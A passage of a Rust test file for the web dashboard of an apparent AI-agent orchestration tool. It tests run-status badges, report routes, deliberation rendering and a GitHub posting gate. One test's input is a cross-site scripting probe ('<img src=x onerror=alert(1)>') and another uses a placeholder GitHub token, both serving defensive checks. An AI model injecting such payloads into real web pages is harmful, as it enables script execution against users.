18770 state.status = status;
18771 let display = run_display_status(&state, waiting, live);
18772 assert_eq!(
18773 run_badge_status(&state, &display, live, superseded),
18774 expected,
18775 "{status:?}/{live:?}/superseded={superseded}"
18776 );
18777 }
18778 }
18779
18780 #[test]
18781 fn summarize_and_detail_expose_badge_status() {
18782 use crate::run::Liveness::Dead;
18783 let mut state = RunState::new(
18784 PathBuf::from("/repo/magi"),
18785 "main".to_owned(),
18786 "abc".to_owned(),
18787 "Badge".to_owned(),
18788 Config::default(),
18789 );
18790 state.status = RunStatus::Gating;
18791 let none = HashSet::new();
18792 let id = state.id.clone();
18793 let mut by = HashMap::new();
18794 let rows = summarize(
18795 [state.clone()],
18796 &none,
18797 &none,
18798 &by,
18799 |_| Some(false),
18800 |_| None,
18801 );
18802 assert_eq!(rows[0].badge_status, rows[0].display_status);
18804 by.insert(id, "20260901-000000-913b".to_owned());
18805 let detail = RunDetailView::of(
18806 state.clone(),
18807 false,
18808 Dead,
18809 Some("913b".to_owned()),
18810 None,
18811 None,
18812 );
18813 assert_eq!(detail.badge_status, "superseded");
18814 let json = serde_json::to_value(&detail).unwrap();
18815 assert_eq!(json["badge_status"], "superseded");
18816 let detail = RunDetailView::of(state, false, Dead, None, None, None);
18817 assert_eq!(detail.badge_status, "stale");
18818 }
18819
18820 #[tokio::test]
18821 async fn run_display_status_routes_share_the_open_question_store() {
18822 let f = Fixture::start().await;
18823 let id = "20260922-090200-abcd";
18824 write_run(&f.runs(), id, RunStatus::Judging);
18825 let mut state = read_run(&f.runs(), id).unwrap();
18826 state.parked = true;
18827 state.driver_exited = true;
18828 state.event("github-text", "waiting for the owner");
18829 state.save_under(f.home.path()).unwrap();
18830 let mut task = Task::new(
18831 "resumed task".to_owned(),
18832 "do it".to_owned(),
18833 PathBuf::from("/repo"),
18834 Source::Human,
18835 );
18836 task.runs = vec![id.to_owned(), id.to_owned()];
18837 f.queue().put(&mut task).unwrap();
18838 let store = f.questions();
18839 let mut q = Question::new(
18840 id.to_owned(),
18841 "github-text".to_owned(),
18842 "owner".to_owned(),
18843 "Approve the text?".to_owned(),
18844 String::new(),
18845 Vec::new(),
18846 );
18847 store.put(&mut q).unwrap();
18848 for expected in ["waiting", "parked"] {
18849 let list = f.get("/api/runs").await.json();
18850 let detail = f.get(&format!("/api/runs/{id}")).await.json();
18851 assert_eq!(list[0]["display_status"], expected);
18852 assert_eq!(detail["display_status"], expected);
18853 assert_eq!(detail["waiting"], list[0]["waiting"]);
18854 assert_eq!(list[0]["badge_status"], expected);
18855 assert_eq!(detail["badge_status"], expected);
18856 assert!(list[0]["superseded_by"].is_null());
18857 assert!(detail["superseded_by"].is_null());
18858 let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
18859 let history = task_detail["history"].as_array().unwrap();
18860 assert_eq!(history.len(), 2);
18861 assert!(history[0]["badge"].is_null());
18862 assert_eq!(history[1]["badge"], expected);
18863 q.status = ask::QuestionStatus::Answered;
18864 store.put(&mut q).unwrap();
18865 }
18866 }
18867
18868 #[tokio::test]
18869 async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
18870 let f = Fixture::start().await;
18871 let id = "20260922-090200-abcd";
18872 write_run(&f.runs(), id, RunStatus::Judging);
18873 let mut state = read_run(&f.runs(), id).unwrap();
18874 state.parked = true;
18875 state.driver_exited = true;
18876 state.event("park", "stopped at a node boundary");
18877 state.save_under(f.home.path()).unwrap();
18878
18879 for expected in ["parked", "stale"] {
18880 let list = f.get("/api/runs").await.json();
18881 let detail = f.get(&format!("/api/runs/{id}")).await.json();
18882 assert_eq!(list[0]["live"], "dead");
18883 assert_eq!(list[0]["display_status"], expected);
18884 assert_eq!(detail["display_status"], expected);
18885 state.parked = false;
18888 state.save_under(f.home.path()).unwrap();
18889 }
18890 }
18891
18892 #[tokio::test]
18893 async fn the_run_list_is_newest_first_and_honours_a_limit() {
18894 let f = Fixture::start().await;
18895 for id in [
18896 "20260902-140501-aaaa",
18897 "20260902-140502-bbbb",
18898 "20260902-140503-cccc",
18899 ] {
18900 write_run(&f.runs(), id, RunStatus::Merged);
18901 }
18902
18903 let all = f.get("/api/runs").await.json();
18904 let capped = f.get("/api/runs?limit=2").await.json();
18905
18906 assert_eq!(all[0]["id"], "20260902-140503-cccc");
18907 assert_eq!(all.as_array().map(Vec::len), Some(3));
18908 assert_eq!(capped.as_array().map(Vec::len), Some(2));
18909 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
18910 }
18911
18912 #[tokio::test]
18913 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
18914 let f = Fixture::start().await;
18915 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
18916
18917 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
18918
18919 assert_eq!(res.status, 200);
18920 assert!(
18921 res.headers
18922 .contains("content-type: text/plain; charset=utf-8"),
18923 "a browser must render it, not download it: {}",
18924 res.headers
18925 );
18926 assert!(
18930 res.body.contains("20260902-140501-a1b2"),
18931 "the report is about the run that was asked for: {}",
18932 res.body
18933 );
18934 }
18935
18936 #[tokio::test]
18937 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
18938 crate::run::pin_test_home();
18940 let f = Fixture::start().await;
18941 let id = "20260902-140501-a1b2";
18942 write_run(&f.runs(), id, RunStatus::Stalled);
18943 let path = f.runs().join(id).join("run.json");
18946 let mut v: serde_json::Value =
18947 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
18948 v["tally"] = serde_json::json!({
18949 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
18950 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
18951 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
18952 "met_quorum": false, "rankings": 1
18953 });
18954 v["reviews"] = serde_json::json!([{
18955 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
18956 "e2e_deferred": true,
18957 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
18958 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
18959 ]}]
18960 }]);
18961 std::fs::write(&path, v.to_string()).unwrap();
18962 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
18963 std::fs::write(
18964 f.runs().join("20260902-140502-dead").join("run.json"),
18965 "{not json",
18966 )
18967 .unwrap();
18968
18969 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
18970
18971 assert_eq!(res.status, 200, "{}", res.body);
18972 assert!(res.headers.contains("content-type: application/json"));
18973 let j = res.json();
18974 assert_eq!(j["schema"], 1);
18975 assert_eq!(j["header"]["id"], id);
18976 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
18977 let kinds: Vec<&str> = j["sections"]
18978 .as_array()
18979 .unwrap()
18980 .iter()
18981 .map(|s| s["kind"].as_str().unwrap())
18982 .collect();
18983 assert_eq!(kinds, ["candidates", "tally", "review"]);
18984 let tally = &j["sections"][1]["tally"];
18985 assert_eq!(
18986 (tally["decided"].clone(), tally["provisional"].clone()),
18987 (false.into(), true.into())
18988 );
18989 let round = &j["sections"][2]["rounds"][0];
18990 assert_eq!(round["e2e"]["state"], "deferred");
18991 assert_eq!(round["findings"][0]["severity"], "major");
18992 assert_eq!(round["findings"][0]["blocking"], true);
18993 assert_eq!(round["findings"][0]["state"], "open");
18994
18995 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
18997
18998 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
19000 assert_ne!(bad.status, 200, "{}", bad.body);
19001 assert_eq!(
19002 bad.status,
19003 f.get("/api/runs/20260902-140502-dead/report").await.status
19004 );
19005 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
19006 assert_eq!(
19007 f.get("/api/runs/20260902-999999-ffff/report.json")
19008 .await
19009 .status,
19010 404
19011 );
19012 }
19013
19014 #[tokio::test]
19015 async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
19016 crate::run::pin_test_home();
19017 let f = Fixture::start().await;
19018 let id = "20260902-140503-delib";
19019 write_run(&f.runs(), id, RunStatus::Merged);
19020 let path = f.runs().join(id).join("run.json");
19021 let mut v: serde_json::Value =
19022 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19023 v["judgements"] = serde_json::json!([
19024 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19025 ]);
19026 v["tally"] = serde_json::json!({
19027 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19028 "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
19029 "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
19030 "met_quorum": true, "rankings": 1
19031 });
19032 v["deliberation"] = serde_json::json!([
19033 {
19034 "round": 1,
19035 "turns": [
19036 {
19037 "judge": 1,
19038 "agent": "judge-1",
19039 "body": "I prefer candidate **A** because it has cleaner tests.",
19040 "tentative": "A"
19041 }
19042 ]
19043 },
19044 {
19045 "round": 2,
19046 "turns": [
19047 {
19048 "judge": 1,
19049 "agent": "judge-1",
19050 "body": "Still thinking, no choice yet.",
19051 "tentative": null
19052 }
19053 ]
19054 }
19055 ]);
19056 std::fs::write(&path, v.to_string()).unwrap();
19057
19058 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19059 assert_eq!(res.status, 200, "{}", res.body);
19060 let j = res.json();
19061 let judging = j["sections"]
19062 .as_array()
19063 .unwrap()
19064 .iter()
19065 .find(|s| s["kind"] == "judging")
19066 .expect("judging section exists");
19067
19068 let delib_lines = judging["deliberation"].as_array().unwrap();
19070 assert_eq!(delib_lines.len(), 2);
19071 assert_eq!(delib_lines[0], "r1 judge 1 -> A");
19072 assert_eq!(delib_lines[1], "r2 judge 1 -> -");
19073
19074 let rounds = judging["rounds"].as_array().unwrap();
19076 assert_eq!(rounds.len(), 2);
19077 let r1_t0 = &rounds[0]["turns"][0];
19078 assert_eq!(r1_t0["judge"], 1);
19079 assert_eq!(r1_t0["agent"], "judge-1");
19080 assert_eq!(r1_t0["tentative"], "A");
19081 assert_eq!(
19082 r1_t0["body"],
19083 "I prefer candidate **A** because it has cleaner tests."
19084 );
19085 assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
19086
19087 let r2_t0 = &rounds[1]["turns"][0];
19088 assert_eq!(r2_t0["judge"], 1);
19089 assert_eq!(r2_t0["agent"], "judge-1");
19090 assert!(r2_t0["tentative"].is_null());
19091 assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
19092 assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
19093
19094 let id_empty = "20260902-140504-nodelib";
19096 write_run(&f.runs(), id_empty, RunStatus::Merged);
19097 let path_empty = f.runs().join(id_empty).join("run.json");
19098 let mut v_empty: serde_json::Value =
19099 serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
19100 v_empty["judgements"] = serde_json::json!([
19101 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19102 ]);
19103 v_empty["deliberation"] = serde_json::json!([]);
19104 std::fs::write(&path_empty, v_empty.to_string()).unwrap();
19105
19106 let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
19107 assert_eq!(res_empty.status, 200, "{}", res_empty.body);
19108 let j_empty = res_empty.json();
19109 let judging_empty = j_empty["sections"]
19110 .as_array()
19111 .unwrap()
19112 .iter()
19113 .find(|s| s["kind"] == "judging")
19114 .expect("judging section exists");
19115 assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
19116 }
19117
19118 #[tokio::test]
19119 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
19120 let f = Fixture::start().await;
19121
19122 let html = f.get("/").await;
19123 let css = f.get("/app.css").await;
19124 let js = f.get("/app.js").await;
19125
19126 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
19127 assert!(
19128 html.headers
19129 .contains("content-type: text/html; charset=utf-8")
19130 );
19131 assert!(css.headers.contains("content-type: text/css"));
19132 assert!(js.headers.contains("content-type: text/javascript"));
19133 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
19134 }
19135
19136 #[test]
19137 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
19138 let body = |name: &str| {
19139 let at = APP_JS
19140 .find(name)
19141 .unwrap_or_else(|| panic!("{name} missing"));
19142 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19143 };
19144 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
19145 let note = body("function landRoundNote");
19146 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
19147 assert!(note.contains("Land round ${round}"));
19148 let land = body("function renderLand");
19149 let note_at = land
19150 .find("landRoundNote(pr)")
19151 .expect("renderLand uses the note");
19152 assert!(
19153 note_at
19154 < land
19155 .find("roundRail(pr)")
19156 .expect("renderLand uses the rail")
19157 );
19158 }
19159
19160 #[test]
19161 fn the_runs_page_redesign_keeps_its_guards() {
19162 let body = |name: &str| {
19163 let at = APP_JS
19164 .find(name)
19165 .unwrap_or_else(|| panic!("{name} missing"));
19166 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19167 };
19168 let land = body("function renderLand");
19170 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
19171 assert!(
19172 !land.contains("box.append("),
19173 "renderLand must use append()"
19174 );
19175 assert!(land.contains("append(box, ["));
19176 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
19178 assert!(
19179 body("function applyRoute")
19180 .contains("route.name !== state.route.name || route.id !== state.route.id")
19181 );
19182 assert!(!APP_JS.contains("adviseConvergeDiagram"));
19184 assert!(!INDEX_HTML.contains("advise-converge"));
19185 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
19186 assert!(APP_JS.contains("provisional"));
19187 for id in [
19188 "run-tab-overview",
19189 "run-tab-timeline",
19190 "run-tab-report",
19191 "run-report",
19192 "runs-scope",
19193 ] {
19194 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
19195 }
19196 assert!(!INDEX_HTML.contains("runs-tree"));
19197 assert!(!INDEX_HTML.contains("run-raw-panel"));
19198 assert!(APP_JS.contains("resume"));
19200 assert!(APP_JS.contains("unreadable"));
19202 }
19203
19204 #[test]
19205 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
19206 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
19207 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
19208 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
19209 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
19210 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
19211 assert!(APP_JS.contains("unreadable` : null"));
19213 }
19214
19215 #[test]
19216 fn blocked_run_detail_exposes_the_failed_gate_reason() {
19217 let mut state = RunState::new(
19218 "/repo".into(),
19219 "main".into(),
19220 "abc".into(),
19221 "task".into(),
19222 crate::config::Config::default(),
19223 );
19224 state.status = RunStatus::Blocked;
19225 state.gate_ran = true;
19226 state.gate.push(crate::run::CommandOutcome {
19227 command: "cargo make check".into(),
19228 code: Some(1),
19229 output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
19230 duration_ms: 0,
19231 resource_blocked: false,
19232 });
19233 let view = RunDetailView::of(
19234 state,
19235 false,
19236 crate::run::Liveness::Unknown,
19237 None,
19238 None,
19239 None,
19240 );
19241 let value = serde_json::to_value(view).unwrap();
19242 assert_eq!(
19243 value["stop_reason"],
19244 "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
19245 );
19246 }
19247
19248 #[test]
19249 fn the_run_detail_payload_says_whether_the_run_is_done() {
19250 for (status, done) in [
19252 (RunStatus::Superseded, true),
19253 (RunStatus::Blocked, true),
19254 (RunStatus::Landing, false),
19255 ] {
19256 let mut state = RunState::new(
19257 std::path::PathBuf::from("/repo"),
19258 "main".to_owned(),
19259 "abc".to_owned(),
19260 "x".to_owned(),
19261 crate::config::Config::default(),
19262 );
19263 state.status = status;
19264 let v = serde_json::to_value(RunDetailView::of(
19265 state,
19266 false,
19267 crate::run::Liveness::Unknown,
19268 None,
19269 None,
19270 None,
19271 ))
19272 .unwrap();
19273 assert_eq!(v["done"], done, "{status:?}");
19274 }
19275 }
19276
19277 fn has_strong(nodes: &[md::Node]) -> bool {
19279 serde_json::to_string(nodes).unwrap().contains("strong")
19280 }
19281
19282 #[test]
19283 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
19284 let mut state = RunState::new(
19285 std::path::PathBuf::from("/repo"),
19286 "main".to_owned(),
19287 "abc".to_owned(),
19288 "x".to_owned(),
19289 crate::config::Config::default(),
19290 );
19291 let proposal = |approach: &str| {
19292 serde_json::json!({
19293 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
19294 })
19295 };
19296 state.advice = Some(
19297 serde_json::from_value(serde_json::json!({
19298 "records": [
19299 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
19300 "proposal": proposal("do **this**")},
19301 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
19302 ],
19303 "synthesis": "- one\n- **two**\n\n`code`",
19304 }))
19305 .unwrap(),
19306 );
19307 state.candidates = serde_json::from_value(serde_json::json!([
19308 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
19309 "summary": "did **it**"},
19310 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
19311 ]))
19312 .unwrap();
19313 state.reviews = serde_json::from_value(serde_json::json!([{
19316 "round": 1, "head": "h",
19317 "reviews": [{
19318 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
19319 "findings": [
19320 {"severity": "nit", "title": "t1", "detail": "plain nit"},
19321 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
19322 ],
19323 }],
19324 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
19325 "fix": {"agent": "a", "notes": "fixed **it**",
19326 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
19327 }, {"round": 2, "head": "h2", "reviews": []}]))
19328 .unwrap();
19329
19330 let v = serde_json::to_value(RunDetailView::of(
19331 state,
19332 false,
19333 crate::run::Liveness::Unknown,
19334 None,
19335 None,
19336 None,
19337 ))
19338 .unwrap();
19339
19340 let strong = |p: &str| {
19341 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
19342 assert!(n.to_string().contains("strong"), "{p}: {n}");
19343 };
19344 strong("/advice_md/synthesis");
19345 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
19346 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
19347 strong("/advice_md/approaches/0");
19348 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
19349 strong("/candidate_summaries_md/0");
19350 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
19351 strong("/reviews_md/0/reviewers/0/summary");
19352 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
19353 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
19354 assert!(f[1].to_string().contains("strong"));
19355 strong("/reviews_md/0/reconsideration/0");
19356 strong("/reviews_md/0/fix/notes");
19357 strong("/reviews_md/0/fix/rejected/0");
19358 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
19359 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
19360 assert_eq!(v["candidates"][0]["summary"], "did **it**");
19362 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
19363 }
19364
19365 #[test]
19366 fn a_run_without_advice_has_no_advice_md() {
19367 let state = RunState::new(
19368 std::path::PathBuf::from("/repo"),
19369 "main".to_owned(),
19370 "abc".to_owned(),
19371 "x".to_owned(),
19372 crate::config::Config::default(),
19373 );
19374 let p = run_prose_md(&state);
19375 assert!(p.advice_md.is_none());
19376 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
19377 }
19378
19379 #[test]
19380 fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
19381 let store = ask::Questions::at(PathBuf::from("unused"));
19382 let gt = crate::github_text::Withheld {
19383 title: false,
19384 body: true,
19385 categories: vec!["sensitive-data".into()],
19386 };
19387 let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
19388 let (detail, comparison) =
19389 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
19390 let mut q = Question::new(
19391 "r".into(),
19392 "github-text".into(),
19393 "posting-gate".into(),
19394 "s".into(),
19395 detail,
19396 Vec::new(),
19397 );
19398 assert!(
19399 QuestionView::of(q.clone(), &store, None)
19400 .posting_view
19401 .is_none()
19402 );
19403 q.posting_comparison = Some(comparison);
19404 let view = QuestionView::of(q.clone(), &store, None);
19405 let field = &view.posting_view.unwrap().fields[0];
19406 assert_eq!(
19407 field
19408 .original
19409 .iter()
19410 .map(|f| f.text.as_str())
19411 .collect::<String>(),
19412 body
19413 );
19414 assert!(field.original[0].text.starts_with("<img"));
19415 let original_question: Question =
19416 serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
19417 assert_eq!(original_question, q);
19418 q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
19419 .original
19420 .start = 1;
19421 assert!(
19422 QuestionView::of(q.clone(), &store, None)
19423 .posting_view
19424 .is_none()
19425 );
19426 q.posting_comparison = original_question.posting_comparison;
19427 q.detail.push_str("extra context");
19428 assert!(
19429 QuestionView::of(q.clone(), &store, None)
19430 .posting_view
19431 .is_some()
19432 );
19433 q.detail.insert(0, 'x');
19434 assert!(QuestionView::of(q, &store, None).posting_view.is_none());
19435 }
19436
19437 #[test]
19438 fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
19439 let store = ask::Questions::at(PathBuf::from("unused"));
19440 let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
19441 let gt = crate::github_text::Withheld::from_check(
19442 &crate::github_text::check("fix: x", body),
19443 "fix: x",
19444 body,
19445 )
19446 .unwrap();
19447 let (detail, comparison) =
19448 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
19449 let mut q = Question::new(
19450 "r".into(),
19451 "github-text".into(),
19452 "posting-gate".into(),
19453 "s".into(),
19454 detail,
19455 Vec::new(),
19456 );
19457 q.posting_comparison = Some(comparison);
19458 let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
19459 let field = &value["posting_view"]["fields"][0];
19460 let group = &field["replacement_group"];
19461 let triggers = group["triggers"].as_array().unwrap();
19462 assert_eq!(triggers.len(), 2);
19463 assert_ne!(triggers[0], triggers[1]);
19464 for id in triggers {
19465 assert!(
19466 field["original"]
19467 .as_array()
19468 .unwrap()
19469 .iter()
19470 .any(|f| &f["pair"] == id)
19471 );
19472 assert!(
19473 !field["changed"]
19474 .as_array()
19475 .unwrap()
19476 .iter()
19477 .any(|f| &f["pair"] == id)
19478 );
19479 }
19480 q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
19481 group["id"].as_u64().unwrap() as usize;
19482 assert!(
19483 QuestionView::of(q, &store, None).posting_view.is_none(),
19484 "group and trigger IDs cannot collide"
19485 );
19486 }
19487
19488 #[test]
19489 fn a_question_view_carries_markdown_for_each_thread_turn() {
19490 let home = TempDir::new().unwrap();
19491 let store = ask::Questions::at(home.path().join("questions"));
19492 let mut q = Question::new(
19493 "run".to_owned(),
19494 "implement".to_owned(),
19495 "impl-A".to_owned(),
19496 "which?".to_owned(),
19497 String::new(),
19498 Vec::new(),
19499 );
19500 q.say("plain words").unwrap();
19501 q.reply("use **this**", Vec::new()).unwrap();
19502 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
19503 let bodies = &v["thread_bodies_md"];
19504 assert_eq!(bodies.as_array().unwrap().len(), 2);
19505 assert!(!bodies[0].to_string().contains("strong"));
19506 assert!(bodies[1].to_string().contains("strong"));
19507 }
19508
19509 #[test]
19510 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
19511 let home = TempDir::new().unwrap();
19512 let store = ask::Questions::at(home.path().join("questions"));
19513 let mut q = Question::new(
19514 "run".to_owned(),
19515 "conduct".to_owned(),
19516 "conduct".to_owned(),
19517 "which?".to_owned(),
19518 String::new(),
19519 Vec::new(),
19520 );
19521 q.say("plain words").unwrap();
19522 q.thread.push(ask::Turn {
19523 who: ask::Who::Agent,
19524 body: "Settled as `merge`".to_owned(),
19525 at: jiff::Timestamp::now(),
19526 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
19527 });
19528 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
19529 let notes = &v["thread_notes_md"];
19530 assert_eq!(notes.as_array().unwrap().len(), 2);
19531 assert!(notes[0].is_null());
19532 let text = notes[1].to_string();
19533 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
19534 assert!(APP_JS.contains("ask-turn-note"));
19535 }
19536
19537 #[test]
19538 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
19539 assert!(APP_JS.contains("function landView(run, raw) {"));
19543 assert!(
19544 APP_JS.contains(
19545 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
19546 )
19547 );
19548 assert!(APP_JS.contains("const pr = landView(run, raw);"));
19549 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
19550 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
19551 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
19552 }
19553
19554 #[test]
19555 fn live_runs_are_never_hidden_or_folded_as_superseded() {
19556 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
19557 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
19558 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
19559 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
19560 }
19561
19562 #[test]
19563 fn review_rounds_label_a_distinct_verified_head() {
19564 assert!(APP_JS.contains("round.verified_head"));
19565 assert!(APP_JS.contains("verified HEAD"));
19566 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
19567 }
19568
19569 #[test]
19570 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
19571 assert!(APP_JS.contains("blocked: { glyph:"));
19575 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
19576
19577 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
19581 assert!(
19582 APP_JS.contains(
19583 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
19584 ),
19585 "the note line must name what a blocked task is waiting on, not just that it is blocked"
19586 );
19587 assert!(APP_JS.contains("if (status === \"blocked\") {"));
19591
19592 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
19596 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
19597 assert!(
19598 APP_JS.contains("location.hash = \"#/questions\";"),
19599 "a question node must jump to the Questions screen, not pretend to be a task"
19600 );
19601
19602 assert!(APP_JS.contains("Resolved questions"));
19605 assert!(APP_JS.contains("r.answersList.append("));
19606 assert!(APP_CSS.contains(".task-answers"));
19607 {
19608 let start = APP_JS
19609 .find("function updateTalkTaskRow")
19610 .expect("updateTalkTaskRow");
19611 let body = &APP_JS[start..];
19612 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
19613 assert!(
19614 body.contains(
19615 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
19616 ),
19617 "a chat-filed task row must link to the task page"
19618 );
19619 assert!(
19620 !body.contains("#/runs/") && !body.contains("#/queue/"),
19621 "the row must not branch to a run or the queue card"
19622 );
19623 assert!(APP_CSS.contains(".talk-task-link"));
19624 }
19625 }
19626
19627 #[test]
19628 fn a_task_notification_links_to_the_task_page() {
19629 let start = APP_JS
19631 .find("function noticeLink(")
19632 .expect("noticeLink exists");
19633 let body = &APP_JS[start..];
19634 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
19635 assert!(
19636 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
19637 "a task notice's link must target the task page"
19638 );
19639 assert!(
19640 !body.contains("#/queue/"),
19641 "regression: the task link must not go back to the Backlog route"
19642 );
19643 assert!(
19644 APP_JS.contains(
19645 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
19646 ),
19647 "`#/tasks/<id>` must parse into the task route"
19648 );
19649
19650 assert!(
19652 APP_JS.contains(
19653 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
19654 ),
19655 "`#/queue/<id>` must parse into a route carrying that id"
19656 );
19657
19658 assert!(APP_JS.contains("state.queueFocus = route.id;"));
19662 assert!(APP_JS.contains("function consumeQueueFocus()"));
19663 assert!(APP_JS.contains("jumpToTask(id)"));
19664 }
19665
19666 #[test]
19667 fn notifications_distinguish_actionable_questions_from_informational_notices() {
19668 let start = APP_JS
19669 .find("function noticeCoveredBy(")
19670 .expect("noticeCoveredBy exists");
19671 let body = &APP_JS[start..];
19672 let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
19673
19674 assert!(body.contains("Associated question ${short}"));
19676 assert!(!body.contains("el(\"a\""));
19677
19678 assert!(body.contains("(resolved)"));
19680 assert!(body.contains("(closed)"));
19681
19682 let start = APP_JS
19683 .find("function renderNotifications()")
19684 .expect("renderNotifications exists");
